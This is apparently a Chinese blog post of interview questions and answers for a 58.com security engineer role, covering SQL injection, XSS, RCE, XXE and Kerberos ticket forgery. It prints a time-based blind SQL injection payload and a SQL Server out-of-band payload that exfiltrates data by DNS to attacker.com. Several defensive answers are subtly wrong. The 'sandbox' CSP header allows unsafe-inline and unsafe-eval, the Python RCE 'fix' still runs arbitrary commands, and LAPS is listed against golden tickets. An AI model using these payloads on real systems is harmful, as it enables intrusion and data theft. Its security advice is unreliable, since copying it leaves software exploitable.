2025年渗透测试面试题总结-58同城-安全工程师(题目+回答)

网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

 58同城-安全工程师

一、无回显SQL注入攻击手法及防御方案

攻击场景:当SQL注入漏洞无法通过页面回显数据,且存在1秒超时限制时,可采用以下方法:

二、SQL注入修复:安全SDK设计指南

防御方案:

三、XSS防御进阶:富文本场景解决方案

场景:业务需支持用户输入HTML(如论坛编辑器),无法完全转义。

四、RCE防御:Java/Python场景最佳实践

五、XXE漏洞修复全策略

六、Windows域内横向移动:票据伪造攻防

攻击手法:

检测与响应:

总结:防御体系设计要点


 

 58同城-安全工程师

场景题,sql注入如下
~select * from user where userid = {};~ response中没有返回信息,如何进行sql注入 ,1s就超时,如何进行sql注入
编写一个安全的SDK,sql注入的修复怎么写,预编译 白名单
xss的修复- 实体化转义
业务中需要使用到html的场景,无法通过实体化转义进行防御漏洞,如何处理
白名单限制+黑名单过滤   html标签白名单+事件白名单
RCE的修复(java,python) - 白名单限制+黑名单过滤
XXE的修复
window域内横向-票据伪造,白银票据和黄金票据

一、无回显SQL注入攻击手法及防御方案

攻击场景:当SQL注入漏洞无法通过页面回显数据,且存在1秒超时限制时,可采用以下方法:
  1. 时间盲注(Time-Based Blind SQLi)
    • 原理:通过条件语句触发数据库延时操作,利用响应时间差异推断数据。
    • 示例Payload(MySQL):
      sql
      ' UNION SELECT IF(SUBSTRING(database(),1,1)='a', SLEEP(2), 1)-- 
      • 若数据库名首字母为a,则响应延迟2秒,否则立即返回。
    • 绕过1秒限制
      • 使用短时间函数(如SLEEP(0.5))多次触发,通过统计总延迟推断数据。
      • 分阶段注入:先获取数据长度,再逐字符爆破(自动化工具如Sqlmap的--time-sec=0.5参数)。
  2. 带外通信(OOB-Out of Band)
    • 原理:利用数据库函数发起DNS或HTTP请求外传数据。
    • 示例Payload(SQL Server):
      sql
      '; DECLARE @a VARCHAR(100)=SELECT TOP 1 column_name FROM table; EXEC('master..xp_dirtree "\\'+@a+'.attacker.com\test"')-- 
      • 数据通过DNS查询外泄到攻击者控制的域名服务器。

二、SQL注入修复:安全SDK设计指南

防御方案
  1. 预编译(参数化查询)
    • 代码示例(Java JDBC):
      java
      String sql = "SELECT * FROM user WHERE userid = ?"; PreparedStatement stmt = connection.prepareStatement(sql); stmt.setString(1, userInput); // 自动转义特殊字符 
    • 关键点:禁止拼接SQL语句,所有动态值必须参数化。
  2. 白名单过滤
    • 场景:当参数需限定为特定格式(如数字、枚举值)时。
    • 代码示例(Python):
      python
      if not userInput.isdigit(): raise ValueError("Invalid user ID") 
  3. 防御层叠加
    • 使用ORM框架(如Hibernate)的天然预编译特性。
    • 对异常请求添加WAF规则(如拦截SLEEPBENCHMARK等关键词)。

三、XSS防御进阶:富文本场景解决方案

场景:业务需支持用户输入HTML(如论坛编辑器),无法完全转义。
  1. 白名单+黑名单双重过滤
    • 工具:使用DOMPurify或OWASP Java HTML Sanitizer。
    • 白名单规则示例
      json
      { "allowedTags": ["p", "strong", "em", "a"], "allowedAttributes": {"a": ["href"]}, "allowedSchemes": {"href": ["http", "https"]} }
    • 黑名单过滤:移除on*事件、javascript:协议等。
  2. 沙箱隔离(CSP策略)
    • HTTP头示例
      Content-Security-Policy: default-src 'self'; script-src 'unsafe-inline' 'unsafe-eval'  
      

四、RCE防御:Java/Python场景最佳实践

  1. Java修复方案
    • 白名单命令执行
      java
      List<String> allowedCommands = Arrays.asList("ls", "pwd"); if (!allowedCommands.contains(userCommand)) { throw new SecurityException("Command not allowed"); } new ProcessBuilder(userCommand).start(); 
    • 禁用反射调用:通过SecurityManager限制Runtime.exec
  2. Python修复方案
    • 安全执行函数
      python
      import shlex args = shlex.split(userInput) # 分割参数防止注入 subprocess.run(args, shell=False) # 禁止shell模式 

五、XXE漏洞修复全策略

  1. 禁用外部实体解析
    • Java示例
      java
      DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
    • Python示例(lxml库):
      python
      parser = etree.XMLParser(resolve_entities=False, no_network=True)
  2. 输入过滤:拦截包含<!DOCTYPE<!ENTITY的XML内容。

六、Windows域内横向移动:票据伪造攻防

攻击手法
  1. 黄金票据(Golden Ticket)
    • 原理:利用krbtgt账户的NTLM Hash伪造TGT(票据授予票据),可访问任意服务。
    • 防御
      • 定期重置krbtgt密码(每180天,需两次重置确保旧票据失效)。
      • 启用LAPS(本地管理员密码解决方案)。
  2. 白银票据(Silver Ticket)
    • 原理:伪造特定服务的ST(服务票据),无需域控参与。
    • 防御
      • 启用服务账户的Kerberos AES加密(而非RC4)。
      • 监控服务SPN异常请求(如同一用户频繁访问多服务)。
检测与响应
  • 启用Windows事件日志审核Kerberos事件(事件ID 4768、4769)。
  • 使用EDR工具检测异常票据请求(如非工作时间票据使用)。

总结:防御体系设计要点

  1. 分层防御:在网络层(WAF)、应用层(输入过滤)、数据层(预编译)设置多重防护。
  2. 最小权限原则:数据库账户仅赋予必要权限(如禁止FILE_OPTIONS)。
  3. 自动化检测:在CI/CD流程集成SAST/DAST工具(如Checkmarx、Burp Suite)。
  4. 威胁建模:针对业务场景定制安全策略(如金融系统重点防御票据伪造)。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值